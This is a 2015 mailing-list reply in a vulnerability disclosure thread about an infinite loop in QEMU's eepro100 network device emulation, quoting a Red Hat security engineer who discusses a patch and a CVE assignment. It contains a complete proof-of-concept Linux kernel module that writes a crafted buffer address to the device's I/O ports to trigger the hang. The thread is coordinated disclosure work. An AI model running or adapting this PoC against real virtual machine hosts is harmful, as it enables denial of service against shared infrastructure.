I think the patch can solve this vulnerability. I confirm that the loop exist , the poc code can prove that.
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <asm/io.h> #define PAGE_OFFSET 0x0C000000 MODULE_LICENSE("GPL"); static int hello_init(void) { void* pvirt; void* pphy; unsigned long* pdbal; unsigned long* tdt; unsigned short status; pvirt =kmalloc(0x100,GFP_KERNEL); memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct pphy=virt_to_phys(pvirt);//get physical address printk(KERN_ALERT "%08x\n",pvirt); printk(KERN_ALERT "%08x\n",pphy); outl(pphy,0xc004);//write the address outw(0x0060,0xc002); outl(0,0xc004);//write the offset outw(0x0010,0xc002); //enter action_command function return 0; } static void hello_exit(void) { printk(KERN_ALERT "goodbye,kernel\n"); } module_init(hello_init); module_exit(hello_exit); MODULE_AUTHOR("qinghao tang"); MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n"); 2015-11-20 14:10 GMT+08:00 P J P <ppan...@redhat.com>: > Hello Qinghao, > > +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+ > | Currently what problem do you have? Perhaps I could provide more support. > > Could you please confirm if the proposed patch here fixes the issue. > Secondly there is uncertainty if the CB loop like Jason mentioned earlier > is > possible. > > | And please give this vulnerability a cve id. > > Yes I will; As soon as the patch is ready for upstream. > > Thank you. > -- > Prasad J Pandit / Red Hat Product Security Team > 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F >